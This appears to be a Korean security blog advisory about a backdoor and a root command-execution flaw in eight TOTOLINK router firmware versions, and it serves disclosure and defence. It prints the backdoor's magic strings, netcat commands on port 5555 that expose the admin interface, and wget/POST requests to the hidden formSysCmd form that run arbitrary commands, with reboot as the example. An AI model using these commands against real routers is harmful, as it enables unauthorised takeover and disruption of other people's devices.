TOTOLINK 라우터에서 백도어 발견!
Backdoor and RCE found in 8 TOTOLINK router models Product Description
라우터 TOTOLINK에서 백도어가 발견되었습니다. TOTOLINK는 국내에서 큰 사랑을 받고 있는 ipTime이 중국 시장에 진출하면서 출시한 브랜드입니다. 테스트를 해 본 결과 최소 8개 이상의 라우터 모델에서 백도어가 발견되었습니다. (펌웨어는 모두 totolink.net 및 totolink.cn 에서 다운로드 받았습니다.)
※ 본 포스팅에서 다루는 백도어는 TOTOLINK 라우터에 존재하는 취약점으로, 현재 국내에서 출시되고 있는 ipTime에서도 해당 취약점이 존재하는지는 아직 확인되지 않았습니다.
백도어가 존재하는 펌웨어 버전
A850R-V1 : 최신 펌웨어 TOTOLINK-A850R-V1.0.1-B20150707.1612.web F1-V2 : 최신 펌웨어 F1-V2.1.1-B20150708.1646.web F2-V1 : 최신 펌웨어 F2-V2.1.0-B20150320.1611.web N150RT-V2 : 최신 펌웨어 TOTOLINK-N150RT-V2.1.1-B20150708.1548.web N151RT-V2 : 최신 펌웨어 TOTOLINK-N151RT-V2.1.1-B20150708.1559.web N300RH-V2 : 최신 펌웨어 TOTOLINK-N300RH-V2.0.1-B20150708.1625.web N300RH-V3 : 최신 펌웨어 TOTOLINK-N300RH-V3.0.0-B20150331.0858.web N300RT-V2 : 최신 펌웨어 TOTOLINK-N300RT-V2.1.1-B20150708.1613.web
|
WAN IP로 변조된 request를 보내면, 공격자는 자신의 웹 페이지에서 HTTP 원격관리화면을 열어볼 수 있습니다. 또한 이 HTTP원격관리화면에서 hidden/boafrm/formSysCmd 형식의 원격실행코드를 통하여 인증을 우회할 수도 있습니다. 현재까지 약 5만대가 넘는 라우터가 해당 백도어의 영향을 받는 것으로 추정됩니다.
백도어 상세내용
라우터가 시작되면, int.d 스크립트는 /bin/skt 바이너리 문서를 실행합니다.
cat etc/init.d/rcS [...] # start web server boa skt&
|
skt파일은 MIPS 환경의 클라이언트/서버 역할을 하는 바이너리며, 사용 인자값은 아래와 같습니다.
server: ./skt client: ./skt host cmd
|
QEMU를 이용하면, 이 바이너리를 x86_64 기기에서도 사용할 수 있습니다 : sudo chroot . ./qemu-mips-static ./bin/skt
skt 실행시 별다른 인자값이 없다면 5555 포트를 사용하는 프로세스가 활성화 되면서, 에코서버의 역할만 하게 됩니다.만약 인자값이 존재한다면 인자값에 따른 명령을 5555포트를 통해 전달 할 수 있습니다. skt의 주요 기능은 아래와 같습니다.
TcpClient : TCP클라이언트 TcpServer : 에코 서버
|
TcpClient : hel, xasf, oki, xasf 혹은 bye, xasf이 포함된 TCP패킷을 보낼 것입니다. 이는 어떠한 인자값을 쓸 것인지를 결정해줍니다. (1,2,3)
TcpServer : tcp/5555의 에코서버를 스니핑 하기위해 사용되며, 사용자로부터 제공되는 스트링("hel,xasf", "oki,xasf")을 비교합니다.
Sub_400B50 함수의 백도어코드
int32_t sub_400B50(int32_t a1, char *str, int32_t a3, int32_t a4, int32_t a5) { if (strcmp(str, "hel,xasf") == 0) { system("iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT"); } else { if (strcmp(str, "oki,xasf") == 0) { system("iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT"); } } [...] } |
이 함수는 사용자의 지정된 스트링을 비교하고, 두개의 하드코딩된 스트링을 system()에서 실행시키는 역할을 합니다. TOTOLINK 기기상에서 동작하는 바이너리 분석을 통하여, 서버모드에서 system() 함수에 의하여 백그라운드에서 실행되는 3가지 명령을 확인할 수 있었습니다.
1) "hel,xasf"를 디바이스에 보냄으로, 디바이스는 아래와 같은 명령 실행
iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
관리자 인터페이스(http포트) 허용 정책 추가
2) "oki,xasf"를 디바이스에 보냄으로, 디바이스는 아래와 같은 명령 실행
iptables -D INPUT -p tcp –dport 80 -i eth1 -j ACCEPT
관리자 인터페이스(http포트) 허용 정책 삭제
3) "bye,xasf"를 디바이스에 보냄으로, 디바이스는 아무것도 못하는 상태가 됨
백도어 중에서 iptables명령 코드를 보면 인터페이스가 "eth1"으로 하드코딩 되어있는 것을 확인할 수 있습니다. WAN IP는 eth1 인터페이스를 사용 하기에, DHCP 및 Static IP를 사용하는 디바이스에만 영향을 끼치며, PPPoE연결에는 영향을 미치지 않는다고 볼 수 있습니다.
"totolink# ifconfig ppp0 Link encap:Point-to-Point Protocol inet addr:X.X.X.X P-t-P:X.X.X.X Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1438 Metric:1 RX packets:17308398 errors:0 dropped:0 overruns:0 frame:0 TX packets:2605290 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:64 RX bytes:2803138455 (2.6 GiB) TX bytes:277402492 (264.5 MiB)bye,xasf" |
공격자는 간단한 netcat명령을 통하여 백도어를 테스트 해 볼 수 있습니다.
1) HTTP 원격관리자 인터페이스 실행
echo -ne "hel,xasf" | nc <ip> 5555
2) HTTP 원격관리자 인터페이스 종료
echo -ne "oki,xasf" | nc <ip> 5555
3) 취약점 존재 여부 확인
echo -ne "GET / HTTP/1.1" | nc <ip> 5555 if you see "GET / HTTP/1.1" in the answer, you likely detected a vulnerable router. |
원격관리자 페이지 중 원격명령을 실행할 수 있는 취약점
최신 펌웨어에서 숨겨진 폼이 있는데 이를 이용하면 공격자가 root권한으로 명령을 실행할 수 있습니다.
POST /boafrm/formSysCmd HTTP/1.1 sysCmd=<cmd>&apply=Apply&msg= |
공격자는 wget을 이용하여 원격으로 명령어를 실행시킵니다.
wget --post-data='sysCmd=<cmd>&apply=Apply&msg=' http://ip//boafrm/formSysCmd
예를들어, 관리자 인터페이스에 아래와 같은 HTTP request를 보내면, 원격에서 해당 디바이스를 재부팅 시킬 수 있습니다.
POST /boafrm/formSysCmd HTTP/1.1 sysCmd=reboot&apply=Apply&msg= |
아래는 wget명령어를 이용한 재부팅 명령입니다.
wget --post-data='sysCmd=reboot&apply=Apply&msg=' http://ip//boafrm/formSysCmd
※ 참고 :
http://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html
ipTime 공유기 펌웨어 최신버전으로 업그레이드 필요! (0) | 2015.07.23 |
---|---|
오픈타입 폰트 드라이버 취약점 (CVE-2015-2426) 주의! (0) | 2015.07.21 |
[해외보안동향] 비트코인 클라우드 마이닝 서비스 해킹, 사용자 데이터베이스 1 비트코인에 판매돼 (0) | 2015.07.14 |
Adobe Flash Player 취약점 (CVE-2015-5122, CVE-2015-5123) 추가 공개! (0) | 2015.07.13 |
OpenSSL CVE-2015-1793 취약점 패치 권고 (0) | 2015.07.10 |
댓글 영역